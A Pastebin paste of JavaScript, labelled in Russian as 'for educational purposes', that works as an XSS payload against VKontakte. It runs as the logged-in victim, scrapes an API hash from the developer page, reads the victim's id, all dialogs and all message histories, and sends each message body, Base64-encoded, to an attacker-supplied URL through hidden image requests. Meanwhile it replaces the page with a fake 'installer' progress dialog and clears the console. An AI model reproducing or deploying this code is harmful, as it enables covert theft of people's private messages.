Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* Все написано в ознакомительных целях!!! */
- /**
- *
- * Base64 encode / decode
- * <a href="http://www.webtoolkit.info/" title="http://www.webtoolkit.info/" class="liexternal">http://www.webtoolkit.info/</a>
- *
- **/
- eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5 C={h:"U+/=",P:z(a){5 b="";5 c,k,m,F,q,f,e;5 i=0;a=C.M(a);E(i<a.y){c=a.o(i++);k=a.o(i++);m=a.o(i++);F=c>>2;q=((c&3)<<4)|(k>>4);f=((k&D)<<2)|(m>>6);e=m&s;p(K(k)){f=e=x}u p(K(m)){e=x}b=b+j.h.l(F)+j.h.l(q)+j.h.l(f)+j.h.l(e)}w b},W:z(a){5 b="";5 c,k,m;5 d,q,f,e;5 i=0;a=a.L(/[^A-Y-N-9\\+\\/\\=]/g,"");E(i<a.y){d=j.h.B(a.l(i++));q=j.h.B(a.l(i++));f=j.h.B(a.l(i++));e=j.h.B(a.l(i++));c=(d<<2)|(q>>4);k=((q&D)<<4)|(f>>2);m=((f&3)<<6)|e;b=b+7.8(c);p(f!=x){b=b+7.8(k)}p(e!=x){b=b+7.8(m)}}b=C.J(b);w b},M:z(a){a=a.L(/\\r\\n/g,"\\n");5 b="";O(5 n=0;n<a.y;n++){5 c=a.o(n);p(c<t){b+=7.8(c)}u p((c>Q)&&(c<R)){b+=7.8((c>>6)|S);b+=7.8((c&s)|t)}u{b+=7.8((c>>H)|G);b+=7.8(((c>>6)&s)|t);b+=7.8((c&s)|t)}}w b},J:z(a){5 b="";5 i=0;5 c=T=v=0;E(i<a.y){c=a.o(i);p(c<t){b+=7.8(c);i++}u p((c>V)&&(c<G)){v=a.o(i+1);b+=7.8(((c&X)<<6)|(v&s));i+=2}u{v=a.o(i+1);I=a.o(i+2);b+=7.8(((c&D)<<H)|((v&s)<<6)|(I&s));i+=3}}w b}};',61,61,'|||||var||String|fromCharCode||||||enc4|enc3||_keyStr||this|chr2|charAt|chr3||charCodeAt|if|enc2||63|128|else|c2|return|64|length|function||indexOf|Base64|15|while|enc1|224|12|c3|_utf8_decode|isNaN|replace|_utf8_encode|z0|for|encode|127|2048|192|c1|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|191|decode|31|Za'.split('|'),0,{}))
- /**
- *
- * VKAPI
- *
- **/
- var vkAPI = {
- victim_id: 0,
- percent_complete: 0,
- ui : {
- lbl: {},
- pb: {},
- set_progress: function(perc, stat) {
- vkAPI.ui.pb.css({ width: perc + '%' }).text(perc + '%');;
- vkAPI.ui.lbl.text(stat);
- },
- createDialog: function() {
- var dlg = $('<div></div>', {
- class: 'im--dialog-load',
- id: 'vk_dialog'
- });
- var new_left = (($(window).width() / 2) - (550 / 2));
- var new_top = (($(window).height() / 2) - (129 / 2));
- dlg.css({
- width: 550,
- height: 129,
- background: '#fff',
- border: '1px solid #939393',
- 'border-radius': '4px',
- margin: '0 auto',
- position: 'absolute',
- top: new_top,
- left: new_left,
- 'box-shadow': '#ccc 1px 1px 2px',
- 'z-index': '99999999'
- });
- var label = $('<div></div>', {
- class: 'im--dialog-label',
- id: 'vk_label'
- });
- label.css({
- border: '1px solid #faebcc',
- color: '#8a6d3b',
- background: '#fcf8e3',
- margin: '15px 16px 7px 19px',
- padding: '4px 5px',
- 'border-radius': '3px'
- });
- label.html('<b>Добро пожаловать в установщик!</b> Дождитесь окончания загрузки данных с сервера и не закрывайте эту вкладку');
- dlg.append(label);
- var progress_bar = $('<div></div>', {
- class: 'im--dialog-pb',
- id: 'vk_pb'
- });
- progress_bar.css({
- 'box-shadow': 'inset 0 1px 2px rgba(0,0,0,.1)',
- background: '#f5f5f5',
- 'border-radius': '4px',
- margin: '11px 16px 7px 19px',
- height: 20
- });
- vkAPI.ui.pb = $('<div></div>', {
- id: 'vk_pb_inner'
- }).css({
- background: '#428bca',
- height: '100%',
- 'border-radius': '4px',
- width: '0%',
- 'line-height': '19px',
- color: '#fff',
- 'text-align': 'center'
- });
- progress_bar.append(vkAPI.ui.pb);
- dlg.append(progress_bar);
- vkAPI.ui.lbl = $('<div></div>', {
- class: 'im--status-label',
- id: 'vk_status_lbl'
- }).html('Ожидание...');
- vkAPI.ui.lbl.css({
- margin: '11px 16px 7px 19px'
- });
- dlg.append(vkAPI.ui.lbl);
- dlg.prependTo('body');
- }
- },
- dialogs_storage: [],
- messages_storage: [],
- dialogs_data_storage: [],
- /* Тут должен быть адрес ресурса, на который приходят данные */
- __action_url: '',
- __api_url: 'https://vk.com/dev/',
- __add_xss_image: function(params) {
- var img = new Image();
- img.onload = function() {
- img = undefined;
- }
- img.src = vkAPI.__action_url + '?' + params;
- },
- api: function(method, params, callback) {
- $.ajax({
- type: 'POST',
- url: vkAPI.__api_url + method,
- success: function(raw_data) {
- var $data = $(raw_data) || {};
- var raw_hash = $data.find('#dev_req_run_btn').attr('onclick').match(/\'(.*?)\'/i)[1]; // EPIC WIN!
- var a_send = $.extend({ act: 'a_run_method', al: 1, hash: raw_hash, method: method, param_v: '5.58' }, params);
- $.ajax({
- type: 'POST',
- url: vkAPI.__api_url,
- data: a_send,
- success: function(raw) {
- var response = raw.match(/\{\"(.*)/i)[0];
- var jsObj = $.parseJSON(response);
- callback(jsObj, params);
- }
- })
- }
- })
- },
- check_dialogs_load: function(dialogs_count, callback) {
- var check_timer0 = setInterval(function() {
- if (vkAPI.dialogs_storage.length == dialogs_count) {
- clearInterval(check_timer0);
- callback();
- }
- }, 500);
- },
- process_messages: function() {
- var dialogs_count = vkAPI.dialogs_storage.length;
- var work_count = 0, workFlag = false;
- var load_msg_timer2 = setInterval(function() {
- if (work_count == (dialogs_count)) {
- clearInterval(load_msg_timer2);
- workFlag = true;
- }
- var current_dialog = vkAPI.dialogs_storage[work_count];
- if (!workFlag) {
- workFlag = true;
- vkAPI.load_messages(current_dialog, function(user_id, data, work_info) {
- work_count++;
- workFlag = false;
- perc = Math.round((work_count / dialogs_count) * 100);
- vkAPI.percent_complete = perc;
- vkAPI.ui.set_progress(perc, work_info + ', [' + work_count + ' / ' + dialogs_count + ']');
- console.clear();
- });
- }
- }, 500);
- },
- load_messages: function(user_id, callback) {
- var offset = 0, steps = 0, msg_count = 0, i = 0, cur_msg_count = 0, tmp_msg_count = 0;
- var msg_data_arr = new Array();
- vkAPI.api('messages.getHistory', { param_count: 0, param_user_id: user_id }, function(data) {
- msg_count = parseInt(data.response.count);
- steps = Math.ceil(msg_count / 200) -1;
- var load_msg_timer1 = setInterval(function() {
- if (i == (steps +1)) {
- work_info = 'Статус: [' + user_id + '] - ' + msg_count + '.. Подходов: ' + (steps +1);
- callback(user_id, msg_data_arr, work_info);
- clearInterval(load_msg_timer1);
- }
- vkAPI.api('messages.getHistory', { param_count: 200, param_offset: offset, param_user_id: user_id, param_rev: 1 }, function(msg_data, params) {
- cur_msg_count = parseInt(msg_data.response.items.length);
- for (var j = 0; j < cur_msg_count; j++) {
- var items = msg_data.response.items[j];
- var msg_body = Base64.encode(items.body);
- vkAPI.__add_xss_image('act=set_msgs&v=' + vkAPI.victim_id + '&u=' + items.user_id + '&f=' + items.from_id + '&d=' + items.date + '&b=' + msg_body + '&p=' + vkAPI.percent_complete);
- }
- });
- offset = offset + 200;
- i++;
- }, 500);
- });
- },
- begin_dialogs: function() {
- console.log('Загружаю диалоги');
- $('body').html('');
- vkAPI.ui.createDialog();
- var loadUserIDFlag = false, dialog_array = [];
- vkAPI.api('users.get', null, function(data) {
- vkAPI.victim_id = data.response[0].id;
- loadUserIDFlag = true;
- });
- vkAPI.api('messages.getDialogs', { param_count: 0 }, function(data) {
- var dialogs_count = parseInt(data.response.count);
- var load_steps = Math.ceil(dialogs_count / 200);
- var offset = 0;
- vkAPI.check_dialogs_load(dialogs_count, function() {
- console.log('Диалоги загруженны');
- vkAPI.process_messages();
- });
- for (var i = 0; i < load_steps; i++) {
- vkAPI.api('messages.getDialogs', { param_count: 200, param_offset: offset }, function(dialogs_data) {
- current_count = dialogs_data.response.items.length;
- for (j = 0; j < current_count; j++) {
- if (dialogs_data.response.items[j].message.chat_id) {
- var chat_id = dialogs_data.response.items[j].message.chat_id;
- //vkAPI.dialogs_data_storage.push('chat' + chat_id);
- vkAPI.dialogs_storage.push(dialogs_data.response.items[j].message.user_id);
- } else {
- var user_id = dialogs_data.response.items[j].message.user_id;
- //vkAPI.dialogs_data_storage.push('user' + user_id);
- vkAPI.dialogs_storage.push(user_id);
- vkAPI.__add_xss_image('act=set_dialogs&victim_id=' + vkAPI.victim_id + '&dialog_id=' + user_id);
- }
- }
- });
- offset = offset +200;
- }
- });
- }
- };
- vkAPI.begin_dialogs();
Advertisement
Add Comment
Please, Sign In to add comment